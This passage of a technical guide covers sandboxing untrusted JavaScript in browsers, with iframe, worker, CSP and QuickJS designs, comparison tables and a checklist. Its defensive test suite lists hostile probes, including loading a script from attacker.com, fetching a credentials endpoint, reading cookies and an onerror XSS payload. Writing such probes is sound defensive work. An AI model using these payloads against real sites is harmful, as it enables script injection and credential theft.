β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    THE OUTPUT SANITIZATION PIPELINE                         β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                             β”‚
β”‚  [ Untrusted Sandbox Output ]                                               β”‚
β”‚        β”‚                                                                    β”‚
β”‚        β–Ό                                                                    β”‚
β”‚  Is the output pure text/console logs?                                      β”‚
β”‚        β”œβ”€β”€ YES ──> Render using .textContent or secure preformatted elementsβ”‚
β”‚        β”‚                                                                    β”‚
β”‚        └── NO (Requires HTML/DOM preview)                                   β”‚
β”‚              β”‚                                                              β”‚
β”‚              β–Ό                                                              β”‚
β”‚        [ Dedicated Preview Sandbox ]                                        β”‚
β”‚        β€’ Render inside an isolated, cross-origin <iframe>                   β”‚
β”‚        β€’ Enforce sandbox="allow-scripts" on unprivileged domain             β”‚
β”‚        β€’ Never evaluate inside the parent application DOM                   β”‚
β”‚                                                                             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Golden Rules for Output Handling:

  1. Never use `innerHTML` for code results: Use textContent or safe DOM node creation (document.createTextNode).
  2. JSON Serialization Guard: Ensure that returned objects pass through JSON.parse(JSON.stringify(val)) or a strict validator to strip prototype pollution vectors (__proto__, constructor).
  3. Sanitize Console Interceptions: If your sandbox intercepts console.log to stream logs back to the UI, serialize arguments as plain strings before posting them across the boundary.

---

12. Complete Reference Architecture: Building the Production Sandbox

Let's assemble these principles into a clean, modular production implementation.

Our architecture consists of three files:

  1. sandbox.html: The unprivileged, sandboxed iframe entry point.
  2. sandbox-runner.js: The worker script that executes user code and captures logs.
  3. HostSandboxController.ts: The host-side controller managing lifecycles and messaging.

1. The Sandbox Document (`sandbox.html`)

This file is hosted on an unprivileged domain or served inside an opaque-origin iframe:

html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <!-- Ultra-strict CSP: Zero outbound network, dynamic evaluation permitted only here -->
  <meta http-equiv="Content-Security-Policy" 
        content="default-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' blob:; connect-src 'none';">
  <title>Isolated Sandbox Runner</title>
</head>
<body>
  <script>
    // Worker script as an inline string to avoid external script loading
    const WORKER_CODE = `
      // Strip dangerous capabilities from worker global scope
      delete self.fetch;
      delete self.XMLHttpRequest;
      delete self.WebSocket;
      delete self.EventSource;
      delete self.importScripts;

      self.onmessage = function(e) {
        const { id, code } = e.data;
        const logs = [];

        // Intercept console.log safely
        const originalLog = console.log;
        console.log = function(...args) {
          logs.push(args.map(arg => {
            try {
              return typeof arg === 'object' ? JSON.stringify(arg) : String(arg);
            } catch (err) {
              return '[Unserializable Object]';
            }
          }).join(' '));
        };

        try {
          // Execute untrusted code via Function constructor
          const executeFn = new Function(code);
          const rawResult = executeFn();
          
          let serializedResult;
          try {
            serializedResult = typeof rawResult === 'object' ? JSON.stringify(rawResult) : String(rawResult);
          } catch(e) {
            serializedResult = '[Unserializable Result]';
          }

          self.postMessage({
            id: id,
            type: 'EXECUTION_SUCCESS',
            result: serializedResult,
            logs: logs
          });
        } catch (err) {
          self.postMessage({
            id: id,
            type: 'EXECUTION_ERROR',
            error: err.name + ': ' + err.message,
            logs: logs
          });
        } finally {
          console.log = originalLog;
        }
      };
    `;

    let activeWorker = null;
    const blob = new Blob([WORKER_CODE], { type: 'application/javascript' });
    const workerUrl = URL.createObjectURL(blob);

    function getOrCreateWorker() {
      if (!activeWorker) {
        activeWorker = new Worker(workerUrl);
        activeWorker.onmessage = function(e) {
          // Relay message back to parent window
          window.parent.postMessage(e.data, '*');
        };
      }
      return activeWorker;
    }

    // Listen for execution commands from the host application
    window.addEventListener('message', function(e) {
      if (e.data && e.data.type === 'EXECUTE') {
        const worker = getOrCreateWorker();
        worker.postMessage({ id: e.data.id, code: e.data.code });
      } else if (e.data && e.data.type === 'TERMINATE') {
        if (activeWorker) {
          activeWorker.terminate();
          activeWorker = null;
        }
      }
    });
  </script>
</body>
</html>

2. The Host Controller (`HostSandboxController.ts`)

The TypeScript manager running in your primary application:

typescript
export interface SandboxExecutionResult {
  result: string;
  logs: string[];
  executionTimeMs: number;
}

export class HostSandboxController {
  private iframe: HTMLIFrameElement;
  private pending = new Map<string, {
    resolve: (val: SandboxExecutionResult) => void;
    reject: (err: Error) => void;
    startTime: number;
    timer: ReturnType<typeof setTimeout>;
  }>();

  constructor(sandboxUrl: string, container: HTMLElement) {
    this.iframe = document.createElement('iframe');
    // Strict sandbox attributes: Allow scripts, OMIT allow-same-origin!
    this.iframe.setAttribute('sandbox', 'allow-scripts');
    this.iframe.style.display = 'none';
    this.iframe.src = sandboxUrl;

    container.appendChild(this.iframe);
    window.addEventListener('message', this.handleMessage.bind(this));
  }

  private handleMessage(event: MessageEvent): void {
    // 1. Strict source validation
    if (event.source !== this.iframe.contentWindow) {
      return;
    }

    const data = event.data;
    if (!data || typeof data.id !== 'string') return;

    const request = this.pending.get(data.id);
    if (!request) return;

    clearTimeout(request.timer);
    this.pending.delete(data.id);

    const executionTimeMs = performance.now() - request.startTime;

    if (data.type === 'EXECUTION_SUCCESS') {
      request.resolve({
        result: data.result,
        logs: Array.isArray(data.logs) ? data.logs : [],
        executionTimeMs
      });
    } else {
      request.reject(new Error(data.error || 'Execution failed'));
    }
  }

  public async runCode(code: string, timeoutMs: number = 2000): Promise<SandboxExecutionResult> {
    const id = crypto.randomUUID();

    return new Promise((resolve, reject) => {
      const timer = setTimeout(() => {
        // Enforce hard termination
        this.iframe.contentWindow?.postMessage({ type: 'TERMINATE' }, '*');
        this.pending.delete(id);
        reject(new Error(`Execution timed out after ${timeoutMs}ms`));
      }, timeoutMs);

      this.pending.set(id, {
        resolve,
        reject,
        startTime: performance.now(),
        timer
      });

      this.iframe.contentWindow?.postMessage({
        id,
        type: 'EXECUTE',
        code
      }, '*');
    });
  }

  public destroy(): void {
    window.removeEventListener('message', this.handleMessage.bind(this));
    this.iframe.remove();
  }
}

---

13. Alternative: WASM QuickJS Sandboxes

For applications requiring uncompromising, mathematical isolation within the browser, there is a powerful alternative: executing an embedded JavaScript interpreter inside WebAssembly.

Instead of feeding user code into the browser's native V8 or SpiderMonkey engine via new Function(), you compile QuickJS (Fabrice Bellard’s lightweight JavaScript engine) or Duktape into a WebAssembly binary.

text
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    WASM-BASED QUICKJS SANDBOX ARCHITECTURE                  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                             β”‚
β”‚  [ Browser Native Runtime (V8 / SpiderMonkey) ]                             β”‚
β”‚        β”‚                                                                    β”‚
β”‚        β”œβ”€β”€ Loads QuickJS WebAssembly Module (.wasm)                         β”‚
β”‚        β”‚                                                                    β”‚
β”‚        └── [ Linear WASM Memory Buffer (e.g. 16 MB heap) ]                 β”‚
β”‚                  β”‚                                                          β”‚
β”‚                  β”œβ”€β”€ [ QuickJS Bytecode Engine & Parser ]                   β”‚
β”‚                  β”‚         β”‚                                                β”‚
β”‚                  β”‚         └── Executes user code: `const x = 10 + 20;`     β”‚
β”‚                  β”‚                                                          β”‚
β”‚                  └── ZERO BROWSER APIS EXIST HERE:                          β”‚
β”‚                      β€’ No window, document, or DOM                          β”‚
β”‚                      β€’ No fetch(), XMLHttpRequest, or WebSocket             β”‚
β”‚                      β€’ No IndexedDB, CacheStorage, or cookies               β”‚
β”‚                      β€’ No V8 JIT compiler side-channels                     β”‚
β”‚                                                                             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Why WASM Sandboxing Is Uniquely Secure:

  1. Zero Native API Surface: The QuickJS WASM runtime knows only what C standard library functions are compiled into it. It has no physical mechanism to invoke fetch(), read cookies, or traverse the DOM unless you explicitly write bridge functions.
  2. Defeats JIT Side-Channels: Native browser JavaScript engines use complex Just-In-Time (JIT) compilers that can occasionally be vulnerable to speculative execution timing attacks (Spectre/Meltdown variants). QuickJS is a pure bytecode interpreter, eliminating JIT-induced security vulnerabilities.
  3. Hard Memory Caps: You can instantiate the WebAssembly instance with a fixed maximum memory boundary (e.g., maximum 32 MB linear memory). If untrusted code allocates more, the WASM memory manager aborts synchronously.

The Trade-Offs:

  • Performance: Interpreting JavaScript inside a WASM-compiled interpreter is approximately 10x to 30x slower than running on native V8 JIT.
  • Bundle Footprint: Including the QuickJS WASM binary adds roughly 1 MB to 2 MB to your client bundle size.
  • Modern Features: QuickJS supports ES2020/ES2023 specifications, but certain cutting-edge browser web APIs must be manually polyfilled.

---

14. When Browser Execution Is Enough vs. When to Move Server-Side

Client-side execution is compelling: it costs zero server CPU, scales infinitely with user traffic, and delivers instantaneous feedback. But client-side sandboxes have distinct architectural boundaries.

Use this decision matrix to determine whether browser execution is appropriate for your workload:

text
                                  [ User Submits Code ]
                                            β”‚
                                            β–Ό
                           Is the language pure JavaScript?
                                      β”‚           β”‚
                                     YES          NO ──> [ SERVER-SIDE MICROVM ]
                                      β”‚
                                      β–Ό
                        Does it require npm packages or
                        persistent POSIX filesystem?
                                      β”‚           β”‚
                                     NO          YES ──> [ SERVER-SIDE MICROVM ]
                                      β”‚
                                      β–Ό
                        Does it require external network
                        access to private/arbitrary APIs?
                                      β”‚           β”‚
                                     NO          YES ──> [ SERVER-SIDE MICROVM ]
                                      β”‚
                                      β–Ό
                        [ BROWSER ISOLATED SANDBOX ]
                        (Cross-Origin iframe + Worker + CSP)
Workload RequirementBrowser Sandbox (Iframe + Worker)WASM Interpreter (QuickJS)Server-Side MicroVM (Firecracker)
Language SupportJavaScript / TypeScript (transpiled)JavaScript (ES2020)Any language (Python, C++, Rust, Go)
Execution LatencyInstant (0–10 ms)Near-Instant (10–50 ms)Cold start: 100–300 ms
Infrastructure Cost\$0 (Runs on user's device)\$0 (Runs on user's device)Compute fees per execution second
Filesystem AccessIn-memory virtual FS onlyIn-memory virtual FS onlyFull POSIX filesystem
Package EcosystemPre-bundled CDN modulesPure JS single-file modulesFull npm install, pip install
Network GovernanceBinary (Block all via CSP)Complete isolation (None)Fine-grained VPC egress firewall
Max Resource CapsWatchdog timeout onlyHard memory + CPU limitStrict OS cgroups & kernel quotas

---

15. Security Architecture Comparison

To choose the right security posture for your application, compare all five primary execution architectures:

ArchitectureIsolation BoundaryPrimary StrengthPrimary LimitationSuitable Use Case
1. Main-Thread `eval()`NoneZero latency, trivial integrationFull XSS vulnerability; blocks UI threadInternal trusted scripts only
2. Plain Web WorkerThread & Event LoopUI responsiveness; timeout terminationShares origin storage, cookies, and networkBackground math on trusted data
3. Same-Origin Sandboxed IframeDeclarative SandboxStrips forms, popups, and top navigationFragile; allow-same-origin collapses securityControlled widget embeds
4. Cross-Origin / Opaque Iframe + WorkerOrigin, Thread & Network (CSP)Multi-layer defense in depth; zero server costComplex postMessage protocol; no raw FSOnline JS playgrounds, code tutors
5. WASM Engine (QuickJS)Linear WASM Memory HeapZero browser API exposure; hard memory caps10–30x execution slowdown; bundle overheadPlugin systems, workflow logic
6. Server-Side MicroVM (Firecracker)Hardware Virtualization (KVM)Absolute OS containment; arbitrary languagesInfrastructure maintenance, cold start latencyProduction CI/CD, untrusted backend jobs

---

16. Testing Your Security Boundary

Before deploying any browser-based code runner to production, validate your defenses against this 10-point adversarial checklist:

The Defensive Audit Suite

typescript
// sandbox-security-test-suite.ts
export const SECURITY_AUDIT_PROBES = [
  {
    name: "Probe 1: Infinite Loop Denial of Service",
    code: "while(true){}",
    expectedOutcome: "Host watchdog triggers termination within 2000ms; UI remains responsive."
  },
  {
    name: "Probe 2: Parent DOM Access",
    code: "window.parent.document.body.innerHTML = 'HACKED';",
    expectedOutcome: "Throws SecurityError: Blocked a frame with origin 'null' from accessing a cross-origin frame."
  },
  {
    name: "Probe 3: Top Navigation Hijack",
    code: "window.top.location = 'https://attacker.com';",
    expectedOutcome: "Throws DOMException: Blocked top-level navigation."
  },
  {
    name: "Probe 4: Ambient Credential Fetch",
    code: "fetch('/api/user/credentials').then(r => r.json());",
    expectedOutcome: "Blocked by CSP (connect-src 'none') or fetch is undefined."
  },
  {
    name: "Probe 5: IndexedDB Exfiltration",
    code: "indexedDB.open('app_database');",
    expectedOutcome: "Throws SecurityError: The operation is insecure in an opaque origin context."
  },
  {
    name: "Probe 6: Remote Script Injection",
    code: "importScripts('https://attacker.com/payload.js');",
    expectedOutcome: "Blocked by CSP or importScripts is deleted/undefined."
  },
  {
    name: "Probe 7: Cookie Inspection",
    code: "const c = document.cookie; return c;",
    expectedOutcome: "document is undefined or document.cookie throws SecurityError."
  },
  {
    name: "Probe 8: Storage Pollution",
    code: "localStorage.setItem('compromised', 'true');",
    expectedOutcome: "localStorage is undefined inside worker context."
  },
  {
    name: "Probe 9: Malicious HTML Return Payload",
    code: "return '<img src=x onerror=alert(1)>';",
    expectedOutcome: "Host renders payload safely via .textContent; alert() never fires."
  },
  {
    name: "Probe 10: Prototype Pollution Probe",
    code: "Object.prototype.polluted = true; return {};",
    expectedOutcome: "Host Object.prototype remains clean; pollution is confined to sandbox."
  }
];

---

17. Production Readiness Checklist

Before going live with any in-browser JavaScript execution engine, ensure every item on this checklist is verified by engineering and security:

  • Origin Separation: Sandbox runs either inside an iframe with sandbox="allow-scripts" (without allow-same-origin) or on a completely separate, cookie-less apex domain (e.g., company-usercontent.com).
  • No `allow-same-origin` on Same-Origin Host: Verified that sandbox="allow-scripts allow-same-origin" is strictly absent on any iframe served from the main application domain.
  • Main App CSP Preserved: Confirmed that 'unsafe-eval' has not been added to the primary application’s Content Security Policy headers.
  • Sandbox CSP Enforced: The sandbox document serves an ultra-strict CSP containing connect-src 'none' and default-src 'none'.
  • Worker Global Scope Hardened: Deleted fetch, XMLHttpRequest, WebSocket, EventSource, and importScripts from the worker context before running code.
  • Watchdog Timer Implemented: Host sets a hard execution budget (typically 1,000 ms to 3,000 ms) and invokes worker.terminate() when elapsed.
  • Message Source Validation: Host message listener verifies event.source === iframe.contentWindow rather than checking event.origin === 'null'.
  • Typed Message Schema: Host and sandbox communicate using strict request/response IDs and validated payload structures.
  • Safe Output Rendering: Execution results and intercepted console logs are rendered exclusively via .textContent or safe DOM nodesβ€”never raw .innerHTML.
  • Recycle on Failure: If a worker times out or throws a fatal error, the sandbox controller terminates the worker and rebuilds the execution context from scratch.

---

18. Final Architecture Decision: The Pathubs Code Principle

Running untrusted code safely requires an intentional shift in mindset.

When developers ask:

> *"Where should we run this code?"*

They usually settle for the easiest answer: *"Put it in a Web Worker so the page doesn't lag."*

Security engineers ask a fundamentally different question:

> *"What resources can this code reach, what ambient credentials can it inherit, and what happens when it tries to burn down the house?"*

A Web Worker isolates the thread. An iframe isolates the DOM. An opaque origin isolates credentials. A Content Security Policy isolates the network. A watchdog timer isolates execution time. And output sanitization isolates the host UI.

None of these controls is sufficient on its own. But woven together into a deliberate, multi-layered boundary, they allow you to run untrusted JavaScript directly inside the browserβ€”delivering blistering responsiveness to your users while keeping your application, their data, and your infrastructure completely safe.

---

Sources & Further Reading

  1. W3C HTML Living Standard: The iframe sandbox attribute specification
  2. MDN Web Docs: HTMLIFrameElement: sandbox property security considerations
  3. MDN Web Docs: Web Workers API and DedicatedWorkerGlobalScope capabilities
  4. W3C Content Security Policy Level 3: script-src, unsafe-eval, and wasm-unsafe-eval directives
  5. Google: playground-elements Sandbox Security Architecture
  6. W3C Working Group: Threat Model for the Web
  7. Cloudflare: Workers Runtime Security Model and Isolates Architecture

Frequently Asked Questions

Why is a Web Worker alone insufficient to sandbox untrusted JavaScript?

A DedicatedWorker runs off the main thread and has no direct DOM access, which protects UI responsiveness. However, if instantiated under the host application's origin, it inherits that origin's network credentials and storage scope. Untrusted code inside the worker can execute credentialed fetch() requests to same-origin APIs, read or mutate IndexedDB and CacheStorage databases, open WebSockets, and import arbitrary external scripts unless governed by strict origin isolation and Content Security Policy.

What happens if you combine allow-scripts and allow-same-origin on a same-origin iframe?

If an embedded document has the same origin as its parent and includes both 'allow-scripts' and 'allow-same-origin', browser sandbox protections are effectively neutralized. Active JavaScript inside the iframe shares the parent's origin and can programmatically reach into the parent DOM via window.parent.document, remove its own sandbox attribute, or execute arbitrary code in the parent context. Browsers and specifications explicitly warn against combining these two flags on same-origin embeddings.

How do you handle postMessage origin verification when an iframe has an opaque origin ('null')?

When an iframe is sandboxed with 'allow-scripts' but without 'allow-same-origin', its origin serializes as the string 'null'. Because any sandboxed frame or data URL can produce a 'null' origin, testing event.origin === 'null' does not verify the identity of the sender. The host application must verify message integrity by checking event.source against the known iframe's contentWindow reference, enforcing an unpredictable session token or handshake nonce, and strictly validating payload schemas.

Why shouldn't a web application just add 'unsafe-eval' to its main Content Security Policy?

Adding 'unsafe-eval' to the primary application's script-src directive disables the browser's defense against string-to-code execution across the entire application origin. If an attacker discovers any DOM-based or reflected Cross-Site Scripting (XSS) vulnerability anywhere in the host, 'unsafe-eval' permits them to execute arbitrary code with full access to the user's session, DOM, and ambient cookies. Dynamic evaluation should only be permitted inside an unprivileged, isolated sandbox document.

How does running QuickJS inside WebAssembly compare to native iframe and Worker sandboxing?

Compiling an independent JavaScript interpreter like QuickJS into WebAssembly provides mathematical memory isolation: untrusted code runs entirely inside the linear memory heap of the WASM runtime rather than the browser's native JIT engine. It has zero native access to browser APIs, DOM, or network unless explicitly exposed through exported host bindings. The trade-offs are larger initial bundle sizes (typically 1–3 MB) and slower execution speeds compared to native V8 or SpiderMonkey.

When does an application need server-side microVM execution instead of browser isolation?

Browser sandboxing is ideal for pure client-side JavaScript, HTML/CSS rendering, and lightweight algorithmic challenges. However, when user code requires languages like Python, C++, or Rust, arbitrary package installations (npm, pip), persistent POSIX filesystem access, operating system syscalls, strict per-second CPU/memory cgroup quotas, or controlled network egress, execution must move server-side into lightweight microVMs (such as AWS Firecracker) or hardened container sandboxes.